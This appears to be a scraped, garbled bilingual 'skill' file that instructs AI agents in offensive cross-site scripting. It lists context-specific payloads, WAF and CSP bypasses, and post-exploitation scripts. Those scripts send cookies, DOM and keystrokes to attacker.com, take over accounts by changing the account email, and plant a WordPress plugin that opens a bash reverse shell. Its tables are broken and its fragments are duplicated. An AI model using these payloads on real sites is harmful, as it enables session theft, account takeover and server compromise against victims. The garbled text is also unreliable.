Loading...
Loading...
Compare original and translation side by side
AI LOAD INSTRUCTION: This skill covers non-obvious XSS techniques, context-specific payload selection, WAF bypass, CSP bypass, and post-exploitation. Assume the reader already knows— this file only covers what base models typically miss. For real-world CVE cases, HttpOnly bypass strategies, XS-Leaks side channels, and session fixation attacks, load the companion SCENARIOS.md.<script>alert(1)</script>
AI加载说明: 本技能涵盖非通用XSS技巧、上下文专属Payload选择、WAF绕过、CSP绕过以及漏洞利用后操作。假设读者已经了解的基础用法——本文仅覆盖基础大模型通常遗漏的内容。如需获取真实世界CVE案例、HttpOnly绕过策略、XS-Leaks侧信道攻击以及会话固定攻击内容,请加载配套的SCENARIOS.md。<script>alert(1)</script>
+ADw-script+AD4-performance.now()+ADw-script+AD4-performance.now()| Context | First Pick | Backup |
|---|---|---|
| HTML body | | |
| Quoted attribute | | |
| JavaScript string | | |
| URL / href sink | | |
Tag body like | | |
| SVG / XML sink | | XHTML namespace payload |
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>| 上下文 | 首选Payload | 备用Payload |
|---|---|---|
| HTML body | | |
| 带引号的属性 | | |
| JavaScript字符串 | | |
| URL / href sink | | |
类似 | | |
| SVG / XML sink | | XHTML命名空间Payload |
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>| Context | Indicator | Opener | Payload |
|---|---|---|---|
| HTML outside tag | | | |
| HTML attribute value | | | |
| Inline attr, no tag close | Quoted, | Event injection | |
| Block tag (title/script/textarea) | | Close tag first | |
| href / src / data / action | link or form | Protocol | |
| JS string (single quote) | | Break string | |
| JS string with escape | Backslash escaping | Double escape | |
| JS logical block | Inside if/function | Close + inject | |
| JS anywhere on page | | Break script | |
XML page ( | XML content-type | XML namespace | |
| 上下文 | 特征标识 | 注入开头 | Payload |
|---|---|---|---|
| 标签外的HTML内容 | | | |
| HTML属性值 | | | |
| 内联属性,无标签闭合 | 带引号, | 事件注入 | |
| 块级标签(title/script/textarea) | | 先闭合标签 | |
| href / src / data / action | 链接或表单 | 协议头 | |
| JS字符串(单引号) | | 打断字符串 | |
| 带转义的JS字符串 | 反斜杠转义 | 双重转义 | |
| JS逻辑块 | if/function内部 | 闭合+注入 | |
| 页面任意JS位置 | | 打断脚本 | |
XML页面( | XML content-type | XML命名空间 | |
<!-- Double reflection -->
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
<!-- Triple reflection -->
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
<!-- Two separate inputs (p= and q=) -->
p=<svg/1='&q='onload=alert(1)><!-- 双反射点 -->
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
<!-- 三反射点 -->
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
<!-- 两个独立输入(p= 和 q=) -->
p=<svg/1='&q='onload=alert(1)>.innerHTMLdocument.write.html()<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>.innerHTMLdocument.write.html()<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>actionhttps://target.com/page.php/"><svg onload=alert(1)>?param=val.php?/actionhttps://target.com/page.php/"><svg onload=alert(1)>?param=val.php?/"><svg onload=alert(1)>.gif<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg"><svg onload=alert(1)>.gif<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>exiftool -Artist='"><svg onload=alert(1)>' photo.jpegwindow.addEventListener('message', ...)<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">window.addEventListener('message', ...)<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">.includes()http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>facebook.com.ATTACKER.com.includes()http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>facebook.com.ATTACKER.comtext/xmlapplication/xml<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>text/xmlapplication/xml<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/></script><script src=data:,alert(1)>
<script src=//attacker.com/1.js></script><script src=data:,alert(1)>
<script src=//attacker.com/1.js><script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script><script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>ajax.googleapis.comajax.googleapis.com<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>{{1+1}}2// Angular 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}{{1+1}}2// Angular 1.x沙箱逃逸:
{{constructor.constructor('alert(1)')()}}
// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}<base href="https://attacker.com/"><script src=...><base href="https://attacker.com/"><script src=...>img<img src='https://attacker.com/log?img<img src='https://attacker.com/log??"></script><base%20c%3D=href%3Dhttps:\mysite>?"></script><base%20c%3D=href%3Dhttps:\mysite>%253C → double-encoded <
%26lt; → HTML entity double-encoding
<%00h2 → null byte injection
%0d%0a → CRLF inside tag%253C → 双重编码的 <
%26lt; → HTML实体双重编码
<%00h2 → 空字节注入
%0d%0a → 标签内的CRLF<ScRipt> ← case variation
</script/x> ← trailing garbage
<script ← incomplete (relies on later >)
<%00iframe ← null byte
<svg/onload= ← slash instead of space<ScRipt> ← 大小写变化
</script/x> ← 尾部冗余字符
<script ← 不完整标签(依赖后续的>闭合)
<%00iframe ← 空字节
<svg/onload= ← 斜杠代替空格<x>...</x>"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//<x>...</x>"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<math><brute href=javascript:alert(1)>click<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<math><brute href=javascript:alert(1)>click<svg/onload=alert(1)><svg/onload=alert(1)>"><script src=//attacker.com/bxss.js></script>bxss.jsvar d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));"><script src=//attacker.com/bxss.js></script>bxss.jsvar d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));fetch('//attacker.com/?c='+document.cookie)
// HttpOnly protected cookies → not stealable via JS, need CSRF or session fixation insteadfetch('//attacker.com/?c='+document.cookie)
// 受HttpOnly保护的Cookie → 无法通过JS窃取,需改用CSRF或会话固定document.onkeypress = function(e) {
fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}document.onkeypress = function(e) {
fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('email=attacker@evil.com&csrf='+token);var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('email=attacker@evil.com&csrf='+token);p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }// Injected into victim:
setInterval(function(){
with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)undefined// 注入到受害者端:
setInterval(function(){
with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)undefined
---
---Test XSS entry point
├── Input reflected in response?
│ ├── YES → Identify context (HTML / JS / attr / URL)
│ │ → Select context-appropriate payload
│ │ → If blocked → check filter behavior
│ │ │ → Try encoding, case mutation, fragmentation
│ │ │ → Check if parameter NAME is reflected (WAF gap)
│ │ └── Success → escalate (cookie steal / CSRF / RCE)
│ └── NO → Is it stored? → Inject blind XSS payload
│ Is it in DOM? → Check JS source for unsafe sinks
│ (innerHTML, eval, document.write, location.href)
└── CSP present?
├── Check for JSONP endpoints on allow-listed domains
├── Check for AngularJS on CDN allow-list
├── Check for base-uri missing → <base> injection
└── Check for unsafe-eval or unsafe-inline exceptions测试XSS入口点
├── 输入在响应中反射?
│ ├── 是 → 识别上下文(HTML / JS / 属性 / URL)
│ │ → 选择适配上下文的Payload
│ │ → 若被拦截 → 检查过滤器行为
│ │ │ → 尝试编码、大小写变异、碎片化
│ │ │ → 检查参数名是否会被反射(WAF漏洞)
│ │ └── 成功 → 升级利用(Cookie窃取 / CSRF / RCE)
│ └── 否 → 是否会被存储? → 注入盲XSS Payload
│ 是否在DOM中? → 检查JS源码中的不安全sink
│ (innerHTML, eval, document.write, location.href)
└── 存在CSP?
├── 检查白名单域名上的JSONP端点
├── 检查CDN白名单中是否存在AngularJS
├── 检查是否缺失base-uri限制 → <base>注入
└── 检查是否存在unsafe-eval或unsafe-inline例外<h2><img><table><iframe src=//attacker.com/c=><%00h2%0d%0a%09%253C<script>onerror<script <script src=//attacker.com?c=<svg><ScRiPt><script><h2><img><table><iframe src=//attacker.com/c=><%00h2%0d%0a%09%253C<script>onerror<script <script src=//attacker.com?c=<svg><ScRiPt><script>